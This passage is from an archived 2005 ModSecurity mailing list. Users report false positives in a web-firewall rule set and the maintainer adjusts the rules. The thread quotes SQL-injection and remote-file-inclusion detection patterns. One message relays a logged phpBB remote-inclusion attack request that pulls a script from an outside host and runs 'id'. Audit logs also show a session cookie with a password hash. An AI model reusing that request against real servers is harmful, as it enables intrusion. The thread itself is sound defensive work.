nd+is+to+make+sure+that+it+can+be+autodiscovered.++The+Firefox+browser+offers+live+bookmarks%2C+where+there+is+a+l ittle+box+in+the+lower+right+hand+corner+of+the+browser.++If+Firefox+can+detect+a+feed+for+your+site%2C+users+can+ bookmark+the+feed.++To+allow+for+autodiscovery%2C+make+sure+that+your+feed+is+listed+in+the+HEAD+section+of+your+t emplate.+++An+example+for+a+RSS+2.0+feed+would+look+like+this%3A%0D%0A%0D%0A%3Ccode%3E%3Clink+rel%3D%22alternate%2 2+type%3D%22application%2Frss%2Bxml%22+title%3D%22RSS+2.0%22+href%3D%22http%3A%2F%2Ffeeds.feedburner.com%2Fbaseblo gging%22+%2F%3E%3C%2Fcode%3E&post_pingback=1&prev_status=draft&submit=Save&referredby=http%3A%2F%2Fbaseblogging.ne t%2Fwp-admin%2Findex.php&post_status=draft&trackback_url=&post_name=&post_author_override=1&mm=11&jj=30&aa=2005&hh =22&mn=30&ss=06&metakeyselect=%23NONE%23&metakeyinput=&metavalue= From tcastelle at generali.fr Wed Dec 7 04:10:43 2005 From: tcastelle at generali.fr (CASTELLE Thomas) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Windows Rule question Message-ID: Hello, I am using the last mod_security rules and it seems that ALL my asp requests match this rule : # WEB-IIS %2E-asp access SecFilterSelective REQUEST_URI "\x2easp" log,pass Is it a bogus rule ? Thanks in advance, Thomas. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051207/aecc778b/attachment.html From tcastelle at generali.fr Thu Dec 8 04:54:21 2005 From: tcastelle at generali.fr (CASTELLE Thomas) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Windows Rule question Message-ID: Hi there, Actually, following my precedent mail, I've got a more global question : Many rules are using "\x2e" or "\x20" or other encoded characters in there regexp... I thought that mod_security was decoding URL-encoded characters, so what's the use of such regexp ? Why aren't you using simply "." or " " ? As a matter of fact, if I look at the mod_security debug log, here is what I see : [08/Dec/2005:10:31:20 +0100] [2] Detection phase starting (request 8a69c20): "GET /toto%2Eis%20a%2ehacker.html HTTP/1.0" [08/Dec/2005:10:31:20 +0100] [9] Stored msr (8a6b0a8) in r (8a69c20) [08/Dec/2005:10:31:20 +0100] [4] Normalised REQUEST_URI: "/toto.is a.hacker.html" [08/Dec/2005:10:31:20 +0100] [2] Parsing arguments... [08/Dec/2005:10:31:20 +0100] [3] Content-Type is not available [08/Dec/2005:10:31:20 +0100] [4] read_post_payload: this request has no body (0) [08/Dec/2005:10:31:20 +0100] [4] Time #1: 4082685 usec [08/Dec/2005:10:31:20 +0100] [2] Checking signature "^POST$" at REQUEST_METHOD [08/Dec/2005:10:31:20 +0100] [4] Checking against "GET" [08/Dec/2005:10:31:20 +0100] [9] Check took 7 usec [08/Dec/2005:10:31:20 +0100] [9] Signature check returned 0 [08/Dec/2005:10:31:20 +0100] [9] Chained rule and no match, find the next rule not in chain [08/Dec/2005:10:31:20 +0100] [2] Checking signature "!^$" at HEADER(Transfer-Encoding) [08/Dec/2005:10:31:20 +0100] [4] Checking against "" [08/Dec/2005:10:31:20 +0100] [9] Check took 4 usec [08/Dec/2005:10:31:20 +0100] [9] Signature check returned 0 [08/Dec/2005:10:31:20 +0100] [2] Checking signature "!HTTP\\/(0\\.9|1\\.0|1\\.1)$" at THE_REQUEST [08/Dec/2005:10:31:20 +0100] [4] Checking against "GET /toto.is a.hacker.html HTTP/1.0" Etc.. The URL-encoded character are indeed decoded... Can someone explain me why such URL-encoded characters are still used in regexp ? This is quite confusing, as "\x2easp" (which seems a legitimate rule at a first glance), is in fact a ".asp" rule (which is stupid) ! Thank you very much for your answer. Regards, Thomas. _____ De : modsecurity-bounces@gotroot.com [mailto:modsecurity-bounces@gotroot.com] De la part de CASTELLE Thomas Envoy? : mercredi 7 d?cembre 2005 10:11 ? : modsecurity@gotroot.com Objet : [Modsecurity] Windows Rule question Hello, I am using the last mod_security rules and it seems that ALL my asp requests match this rule : # WEB-IIS %2E-asp access SecFilterSelective REQUEST_URI "\x2easp" log,pass Is it a bogus rule ? Thanks in advance, Thomas. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051208/68d7c17a/attachment.html From quien-sabe at metaorg.com Thu Dec 8 09:53:11 2005 From: quien-sabe at metaorg.com (Who Knows) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Utilization Issues with rules Message-ID: <439848D7.90400@metaorg.com> Since first implementing mod_security and the gotroot rule set a couple of months ago, i have battled an intermittent over utilization issue on my server. I was able to quickly identify it as an httpd issue, but it took me longer to identify mod_security in conjunction with the blacklist.conf rule set as the culpret. Although my server is running a fairly heavy load, it should be able to handle things well ( although it could probably use more RAM ). Including the blacklist.conf set of rules however immediately doubles the idle load on my server and causes httpd to periodically ( average once per day ) consume the entired server resouces requring httpd to be stopped and restarted. Given this experience, I was wondering if perhaps a weighting value might be placed on blacklist entries allowing several "smaller" rulesets be created thereby allowing stressed servers to include the most dangerous/prolific? I have installed the RBL patch to my httpd server, and will hopefully soon be able to test the affect using that deterrant will have on my system. Thanks in advance for any words of wisdom you may have to share with me. Regards, Jim From dan at half-asleep.com Thu Dec 8 10:06:34 2005 From: dan at half-asleep.com (Daniel Segall) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Utilization Issues with rules In-Reply-To: <439848D7.90400@metaorg.com> References: <439848D7.90400@metaorg.com> Message-ID: <47297.192.160.51.71.1134054394.squirrel@webmail.half-asleep.com> I agree with this, though I think it would be hard to make the distinction between offenders. This is something each user would need to decide for themselves. You could make your own ruleset and keep only the offenders you want to block in it. I had the same problem on one of my servers, and ended up ditching Apache in favor of lighttpd for the high load domain. Obviously this means you cant use modsecurity for that domain though. This was a drastic approach I took, because the domain in question was almost all static content (lots of image), and it wasn't a target for my modsec rules. The problem at hand is Apache being completely bloated, which causes the heavy loads. You could strip down Apache, and likely lessen the load substancially. You could also take the lighty approach only for images if they are the bulk of the load. This obviously varies from domain to domain, but you can have as many webservers as you want/need running on the same server. -Dan On Thu, December 8, 2005 9:53 am, Who Knows said: > Since first implementing mod_security and the gotroot rule set a couple > of months ago, i have battled an intermittent over utilization issue on > my server. I was able to quickly identify it as an httpd issue, but it > took me longer to identify mod_security in conjunction with the > blacklist.conf rule set as the culpret. > > Although my server is running a fairly heavy load, it should be able to > handle things well ( although it could probably use more RAM ). > > Including the blacklist.conf set of rules however immediately doubles > the idle load on my server and causes httpd to periodically ( average > once per day ) consume the entired server resouces requring httpd to be > stopped and restarted. > > Given this experience, I was wondering if perhaps a weighting value > might be placed on blacklist entries allowing several "smaller" rulesets > be created thereby allowing stressed servers to include the most > dangerous/prolific? > > I have installed the RBL patch to my httpd server, and will hopefully > soon be able to test the affect using that deterrant will have on my > system. > > Thanks in advance for any words of wisdom you may have to share with me. > > > Regards, > Jim > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity > > From mike at gotroot.com Thu Dec 8 16:46:45 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] New release Message-ID: <1134078405.24560.69.camel@localhost.localdomain> In a rush again, so no diff (yep, I need to automate that too *grin*). Lots of new rules for SQL and XSS attacks, plus a slew of new spam attackers in the badips file, and some new worm sign for some new exploits I've come across. Enjoy! -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051208/3ea091b3/attachment.bin From mike at gotroot.com Thu Dec 8 17:13:48 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Windows Rule question In-Reply-To: References: Message-ID: <1134080029.24560.88.camel@localhost.localdomain> On Thu, 2005-12-08 at 10:54 +0100, CASTELLE Thomas wrote: > Many rules are using ?\x2e? or ?\x20? or other encoded characters in > there regexp? > I thought that mod_security was decoding URL-encoded characters, so > what?s the use of such regexp ? Why aren?t you using simply ?.? or ? > ? ? Because sometimes I prefer them that way, its really that simple. If you prefer them some other way, please feel free to rewrite them. > This is quite confusing, as ?\x2easp? (which seems a legitimate rule > at a first glance), is in fact a ?.asp? rule (which is stupid) ! First, thank you for the high praise. First, although the may be a bit confusing to you as to why its in there (and I'm sorry for any confusion it may have caused you) its just a harmless logging rule. The rule hasn't stopped any traffic to your system. Its a simple logging rule and it has a very specific purpose: to log all ASP requests. I do not run ASP, and want to know what ASP attacks are coming in to my boxes. This is the easiest way to find that out. You should just comment the rule out. Since the rule is specific to my needs (running honeypots and looking for new attacks), I'll comment it out in the latest release so there is no future confusion. If anyone else wants to log asp traffic to their boxes turn this back on. -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From mike at gotroot.com Thu Dec 8 17:20:57 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Fwd: 406 error in posting in wordpress (fwd) In-Reply-To: References: Message-ID: <1134080457.24560.98.camel@localhost.localdomain> Thank you for the report Michal, please try the latest rules I added in an exclusion for WP that should prevent this from happening again. Please let me know if you run into anymore issues. On Tue, 2005-12-06 at 21:37 -0500, Michal Wallace wrote: > Hey all, > > I really like the known exploit rules, but > ever since I installed them I'm getting all > kinds of emails like this: > > Michal - I figured out what was happening. For some reason > having "chicklet generator" in the post was throwing up red > flags. I reworded the post and it appears to work now. > > The generic rules are just WAY too paranoid for my > particular user base. Any chance at all that these > could be separated out in this new system? Or even > just moved into a separate file? > > The post for this incdient is below. > > Sincerely, > > Michal J Wallace > Sabren Enterprises, Inc. > ------------------------------------- > contact: michal@sabren.com > hosting: http://www.cornerhost.com/ > my site: http://www.withoutane.com/ > ------------------------------------- > > > POST /wp-admin/post.php HTTP/1.1 > Host: baseblogging.net > User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 > Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 > Accept-Language: en-us,en;q=0.5 > ~~~~~~~~~~~~~~~: ~~~~~~~~~~~~ > Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 > Keep-Alive: 300 > Connection: keep-alive > Referer: http://baseblogging.net/wp-admin/post.php > Cookie: comment_author_url_251e492b323a2dc6a19caf09b354ae28=http%3A%2F%2F; wordpressuser_251e492b323a2dc6a19caf09b > 354ae28=admin; comment_author_251e492b323a2dc6a19caf09b354ae28=admin; wordpresspass_251e492b323a2dc6a19caf09b354ae > 28=e50476111d300d9f7ed4ca45e4cc1627; comment_author_email_251e492b323a2dc6a19caf09b354ae28=blog%40baseblogging.net > Content-Type: application/x-www-form-urlencoded > Content-Length: 3827 > mod_security-message: Access denied with code 406. Pattern match "([[:space:]]+(select|grant|delete|insert|drop|al > ter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table| > database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]|UNION SELECT.*\'.*\'.*,[0-9].*INTO.*FROM)" at POST_PAYLOAD > mod_security-action: 406 > > 3827 > user_ID=1&action=post&post_author=&post_title=Subscribing+-+Make+it+Easy&post_category%5B%5D=11&advanced_view=1&co > mment_status=open&ping_status=open&post_password=&excerpt=&content=The+vast+majority+of+blogging+software+generate > s+some+sort+of+subscribable+feed%2C+whether+it+is+one+of+the+versions+of+%3Cacronym+title%3D%22Really+Simple+Syndi > cation%22%3ERSS%3C%2Facronym%3E+or+Atom.++Even+though+these+feeds+are+generated%2C+bloggers+don%27t+always+make+it > +easy+for+readers+to+subscribe.++The+result+is+that+bloggers+may+be+missing+an+opportunity+to+capture+additional+r > eaders+and%2For+subscribers.%3C%21--more--%3E%0D%0A%0D%0AYour+readers+who+are+familiar+with+RSS+already+probably+k > now+what+to+do+when+they+see+the+little+orange+XML+square.++They+know+how+to+use+that+button+to+get+the+address+to > +the+feed%2C+and+then+use+their+newsreader.++However%2C+there+are+still+quite+a+few+users+who+aren%27t+familiar+wi > th+syndication.++How+do+you+get+people+who+don%27t+know+about+syndication+to+subscribe+to+your+feed%3F++With+chick > lets.%0D%0A%0D%0A%3Cimg+src%3D%27http%3A%2F%2Fus.i1.yimg.com%2Fus.yimg.com%2Fi%2Fus%2Fmy%2Faddtomyyahoo4.gif%27+wi > dth%3D%2791%27+height%3D%2717%27+border%3D%270%27+align%3D%27middle%27+alt%3D%27Add+to+My+Yahoo%21%27%2F%3E+%7C+%3 > Cimg+src%3D%27http%3A%2F%2Fsc.msn.com%2Fc%2Frss%2Frss_mymsn.gif%27+alt%3D%27Subscribe+in+My+MSN%27+border%3D%270%2 > 7%2F%3E++%0D%0A%0D%0AThose+little+buttons+you+see+sprouting+up+on+more+and+more+sites+are+chicklets.++While+a+read > er+may+not+be+very+familiar+with+RSS%2C+they+do+konw+that+if+they+click+the+button+they+can+add+your+site+to+their > +%22My+Yahoo%22+page.++Even+as+someone+who+is+quite+familiar+with+RSS%2C+I%27m+more+likely+to+subscribe+to+a+site+ > if+it+is+as+easy+as+clicking+a+button.+++And+I%27m+very+likely+to+subscribe+if+that+button+is+easy+to+find.++Don%2 > 7t+bury+the+chicklet+on+your+page.++Give+it+a+logical+location%2C+like+a+special+section+of+a+sidebar.%0D%0A%0D%0A > As+for+creating+the+chicklets+there+are+a+couple+ways+to+do+this.++There+is+a+%3Ca+href%3D%22http%3A%2F%2Fwww.kbca > fe.com%2Frss%2Fchicklet.aspx%22%3Echicklet+generator%3C%2Fa%3E%2C+where+you+drop+a+small+piece+of+script+into+your > +browser+and+it+will+create+the+chicklets+for+you.%0D%0A%0D%0AThe+tool+I+prefer+to+use+is+%3Ca+href%3D%22http%3A%2 > F%2Ffeedburner.com%22%3EFeedburner%3C%2Fa%3E.++Feedburner+will+also+help+generate+chicklets+for+you%2C+but+it+also > +does+quite+a+bit+more.++By+%22burning+a+feed%22+with+Feedburner%2C+you+take+your+feed+in+any+format+and+feedburne > r+will+repackage+it+so+that+it+can+be+universally+accepted.++Feedburner+also+offers+Feedblitz+where+users+can+subs > cribe+via+email+to+your+feed.++Finally%2C+you+can+view+statistics+on+the+distribution+of+your+feed.++You+can+see+h > ow+many+subscribers+you+have+and+how+often+they+check+your+feed.++I%27ve+used+Feedburner+on+this+site+to+create+ev > erything+under+%22Syndication%22+on+the+main+page+sidebar.%0D%0A%0D%0AYet+another+way+to+make+your+feed+easy+to+fi > nd+is+to+make+sure+that+it+can+be+autodiscovered.++The+Firefox+browser+offers+live+bookmarks%2C+where+there+is+a+l > ittle+box+in+the+lower+right+hand+corner+of+the+browser.++If+Firefox+can+detect+a+feed+for+your+site%2C+users+can+ > bookmark+the+feed.++To+allow+for+autodiscovery%2C+make+sure+that+your+feed+is+listed+in+the+HEAD+section+of+your+t > emplate.+++An+example+for+a+RSS+2.0+feed+would+look+like+this%3A%0D%0A%0D%0A%3Ccode%3E%3Clink+rel%3D%22alternate%2 > 2+type%3D%22application%2Frss%2Bxml%22+title%3D%22RSS+2.0%22+href%3D%22http%3A%2F%2Ffeeds.feedburner.com%2Fbaseblo > gging%22+%2F%3E%3C%2Fcode%3E&post_pingback=1&prev_status=draft&submit=Save&referredby=http%3A%2F%2Fbaseblogging.ne > t%2Fwp-admin%2Findex.php&post_status=draft&trackback_url=&post_name=&post_author_override=1&mm=11&jj=30&aa=2005&hh > =22&mn=30&ss=06&metakeyselect=%23NONE%23&metakeyinput=&metavalue= > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051208/25164f76/attachment.bin From mike at gotroot.com Thu Dec 8 17:21:32 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Another on to the list In-Reply-To: <4395F3D9.5040300@active.co.il> References: <4395F3D9.5040300@active.co.il> Message-ID: <1134080492.24560.100.camel@localhost.localdomain> Thanks Rami. It should be in the latest rules, but let me know if I missed anything. On Tue, 2005-12-06 at 22:26 +0200, Rami Addady wrote: > Request: 85.98.112.195 - - [03/Dec/2005:04:36:31 +0200] "GET > /modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://usuarios.lycos.es/angienuk/tool25.dat?&cmd=id > HTTP/1.0" 403 0 > > > Ram > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 827 bytes Desc: This is a digitally signed message part Url : http://lists.gotroot.com/pipermail/modsecurity/attachments/20051208/29b05654/attachment.bin From admin at thenamegame.com Thu Dec 8 17:34:05 2005 From: admin at thenamegame.com (Michael S.) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Google still get blocked Message-ID: ======================================== Request: 66.249.66.74 - - [Thu Dec 8 17:21:15 2005] "GET /forum_board/posting.php?mode=reply&t=2&sid=63efc420f54abc25991e9fecd6546ef7 HTTP/1.1" 200 39153 Handler: application/x-httpd-php ---------------------------------------- GET /forum_board/posting.php?mode=reply&t=2&sid=63efc420f54abc25991e9fecd6546ef7 HTTP/1.1 Accept: */* Accept-Encoding: gzip Connection: Keep-alive From: googlebot(at)googlebot.com Host: www.cucv.us User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) mod_security-message: Access denied with code 403. Pattern match "!/ps(zones\|comp).txt1" at REQUEST_URI. We are still seeing google bot being blocked by this rule. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.gotroot.com/pipermail/modsecurity/attachments/20051208/67fee1fd/attachment.html From david at cryptix.de Fri Dec 9 03:58:48 2005 From: david at cryptix.de (David Obando) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] lycos.de blocked Message-ID: <43994748.1050205@cryptix.de> Hello, in blacklist.conf there is a rule SecFilterSelective HTTP_Referer|ARGS "\.lycos\.de" blocking users coming from lycos.de with a search result: ************************************ ======================================== UNIQUE_ID: 4vXJAVOJYyEAAFecd68AAAAE Request: 193.102.6.34 - - [08/Dec/2005:12:51:17 +0100] "GET /news.php?article_id=641 HTTP/1.1" 500 1210 Handler: type-map ---------------------------------------- GET /news.php?article_id=641 HTTP/1.1 Host: www.xxxxxxx.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://suche.lycos.de/cgi-bin/pursuit?query=Nutzungsvertrag+Jugendklub&cat=loc&matchmode=&mtemp=&etemp= mod_security-message: Access denied with code 500. Pattern match "\.lycos\.de" at HEADER mod_security-action: 500 HTTP/1.1 500 Internal Server Error Vary: accept-language,accept-charset Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Content-Language: de Vary: accept-language, accept-charset ************************************ Could you please delete that rule? Thanks, David -- The day microsoft makes something that doesn't suck is the day they start making vacuum cleaners. gpg --keyserver pgp.mit.edu --recv-keys 1920BD87 Key fingerprint = 3326 32CE 888B DFF1 DED3 B8D2 105F 29CB 1920 BD87 From michal at sabren.com Fri Dec 9 10:46:51 2005 From: michal at sabren.com (Michal Wallace) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] HELP getting an error (fwd) Message-ID: Hey all, Got another false positive. This is for gallery from http://gallery.menalto.com ===== > i've got a very antsy client on my hands that can't log into his gallery > i'm getting this when i try to log into futuresantiques.com/items > > HTTP 406 > NOT ACCEPTABLE > An appropriate representation of the requested resource /items/main.php could > not be found on this server. ===== It's matching a generic remote inclusion rule. The audit log is below. Sincerely, Michal J Wallace Sabren Enterprises, Inc. ------------------------------------- contact: michal@sabren.com hosting: http://www.cornerhost.com/ my site: http://www.withoutane.com/ ------------------------------------- ======================================== UNIQUE_ID: N7tdfEMTrTQAAEyQIL0AAAAd Request: 69.180.12.147 - - [09/Dec/2005:10:41:24 --0500] "GET /items/main.php?g2_view=core.UserAdmin&g2_subView=co re.UserLogin&g2_return=http%3A%2F%2Ffuturesantiques.com%2Fitems%2Fmain.php%3Fg2_view%3Dcore.ShowItem%26g2_itemId%3 D272%26g2_GALLERYSID%3D33e16ad1b906a2773e4efc141c93d884&g2_returnName=album HTTP/1.1" 406 265 Handler: application/x-httpd-php ---------------------------------------- GET /items/main.php?g2_view=core.UserAdmin&g2_subView=core.UserLogin&g2_return=http%3A%2F%2Ffuturesantiques.com%2F items%2Fmain.php%3Fg2_view%3Dcore.ShowItem%26g2_itemId%3D272%26g2_GALLERYSID%3D33e16ad1b906a2773e4efc141c93d884&g2 _returnName=album HTTP/1.1 Host: futuresantiques.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://futuresantiques.com/items/main.php?g2_view=core.ShowItem&g2_itemId=272&g2_GALLERYSID=33e16ad1b906a 2773e4efc141c93d884 Cookie: GALLERYSID=33e16ad1b906a2773e4efc141c93d884 mod_security-message: Access denied with code 406. Pattern match "\.php\?.*=(http|https|ftp)\:/.*\?" at REQUEST_UR I mod_security-action: 406 HTTP/1.1 406 Not Acceptable Content-Length: 265 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 From michal at sabren.com Fri Dec 9 10:50:06 2005 From: michal at sabren.com (Michal Wallace) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Fwd: 406 error in posting in wordpress (fwd) In-Reply-To: <1134080457.24560.98.camel@localhost.localdomain> References: <1134080457.24560.98.camel@localhost.localdomain> Message-ID: On Thu, 8 Dec 2005, Michael Shinn wrote: > Thank you for the report Michal, please try the latest rules I added in > an exclusion for WP that should prevent this from happening again. > Please let me know if you run into anymore issues. Thanks!! :) Sincerely, Michal J Wallace Sabren Enterprises, Inc. ------------------------------------- contact: michal@sabren.com hosting: http://www.cornerhost.com/ my site: http://www.withoutane.com/ ------------------------------------- From mike at gotroot.com Fri Dec 9 15:15:26 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] HELP getting an error (fwd) In-Reply-To: References: Message-ID: <1134159326.24560.191.camel@localhost.localdomain> Thanks for the report, I'll update the rules later tonight to fix this one. The rule is likely to generate other false positives, as its a very paranoid php include rule. So for everyone, keep an eye on this one, and if you are concerned about it misfiring, place this at the end of the rule: pass, log and please send me any log reports of false positives. On Fri, 2005-12-09 at 10:46 -0500, Michal Wallace wrote: > Hey all, > > Got another false positive. This is for gallery > from http://gallery.menalto.com > > ===== > > i've got a very antsy client on my hands that can't log into his gallery > > i'm getting this when i try to log into futuresantiques.com/items > > > > HTTP 406 > > NOT ACCEPTABLE > > An appropriate representation of the requested resource /items/main.php could > > not be found on this server. > ===== > > It's matching a generic remote inclusion rule. > The audit log is below. > > Sincerely, > > Michal J Wallace > Sabren Enterprises, Inc. > ------------------------------------- > contact: michal@sabren.com > hosting: http://www.cornerhost.com/ > my site: http://www.withoutane.com/ > ------------------------------------- > > ======================================== > UNIQUE_ID: N7tdfEMTrTQAAEyQIL0AAAAd > Request: 69.180.12.147 - - [09/Dec/2005:10:41:24 --0500] "GET /items/main.php?g2_view=core.UserAdmin&g2_subView=co > re.UserLogin&g2_return=http%3A%2F%2Ffuturesantiques.com%2Fitems%2Fmain.php%3Fg2_view%3Dcore.ShowItem%26g2_itemId%3 > D272%26g2_GALLERYSID%3D33e16ad1b906a2773e4efc141c93d884&g2_returnName=album HTTP/1.1" 406 265 > Handler: application/x-httpd-php > ---------------------------------------- > GET /items/main.php?g2_view=core.UserAdmin&g2_subView=core.UserLogin&g2_return=http%3A%2F%2Ffuturesantiques.com%2F > items%2Fmain.php%3Fg2_view%3Dcore.ShowItem%26g2_itemId%3D272%26g2_GALLERYSID%3D33e16ad1b906a2773e4efc141c93d884&g2 > _returnName=album HTTP/1.1 > Host: futuresantiques.com > User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 > Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 > Accept-Language: en-us,en;q=0.5 > Accept-Encoding: gzip,deflate > Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 > Keep-Alive: 300 > Connection: keep-alive > Referer: http://futuresantiques.com/items/main.php?g2_view=core.ShowItem&g2_itemId=272&g2_GALLERYSID=33e16ad1b906a > 2773e4efc141c93d884 > Cookie: GALLERYSID=33e16ad1b906a2773e4efc141c93d884 > mod_security-message: Access denied with code 406. Pattern match "\.php\?.*=(http|https|ftp)\:/.*\?" at REQUEST_UR > I > mod_security-action: 406 > > HTTP/1.1 406 Not Acceptable > Content-Length: 265 > Keep-Alive: timeout=5, max=81 > Connection: Keep-Alive > Content-Type: text/html; charset=iso-8859-1 > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xDAE2EC86 Got Root? http://www.gotroot.com ModSecurity WebServer Firewall: http://www.modsecurityrules.com Troubleshooting Firewalls: http://troubleshootingfirewalls.com From mike at gotroot.com Fri Dec 9 15:21:17 2005 From: mike at gotroot.com (Michael Shinn) Date: Mon Jan 7 18:22:29 2008 Subject: [Modsecurity] Utilization Issues with rules In-Reply-To: <439848D7.90400@metaorg.com> References: <439848D7.90400@metaorg.com> Message-ID: <1134159677.24560.202.camel@localhost.localdomain> On Thu, 2005-12-08 at 07:53 -0700, Who Knows wrote: > Since first implementing mod_security and the gotroot rule set a couple > of months ago, i have battled an intermittent over utilization issue on > my server. I was able to quickly identify it as an httpd issue, but it > took me longer to identify mod_security in conjunction with the > blacklist.conf rule set as the culpret. > > Although my server is running a fairly heavy load, it should be able to > handle things well ( although it could probably use more RAM ). How much RAM do you have? (I'm trying to work up what minimum RAM requirement might be for each of the rulesets) > Including the blacklist.conf set of rules however immediately doubles > the idle load on my server and causes httpd to periodically ( average > once per day ) consume the entired server resouces requring httpd to be > stopped and restarted. Unfortunately the blacklist.conf is the largest ruleset, and this could simply be a function of the maximum size of a ruleset against the resources of the system. I'm still looking for data to figure out if this is the case, and where the > Given this experience, I was wondering if perhaps a weighting value > might be placed on blacklist entries allowing several "smaller" rulesets > be created thereby allowing stressed servers to include the most > dangerous/prolific? Thats a good idea. I could pull out the generic spam signatures, and create another ruleset of the specific signatures. I'm looking at reorganizing all the rules anyway, but thats definitely a ways off. I need to work on some other things with the rules and management as well that will take some priority (like adding in the ids, and forking the rules for the 1.8 users). > I have installed the RBL patch to my httpd server, and will hopefully > soon be able to test the affect using that deterrant will have on my system. Ah cool, are you using the patch to mod_access? I'm going to build an RBL around that to handle all the IPs in the future. > Thanks in advance for any words of wisdom you may have to share with me. > > > Regards, > Jim > > _______________________________________________ > Modsecurity mailing list > Modsecurity@gotroot.com > http://lists.gotroot.com/mailman/listinfo/modsecurity -- Michael T. Shinn KeyID:0xDAE2EC86 Key Fingerprint: 1884 E657 A6DF DF1B BFB9 E2C5 DCC6 5297 DAE2 EC86 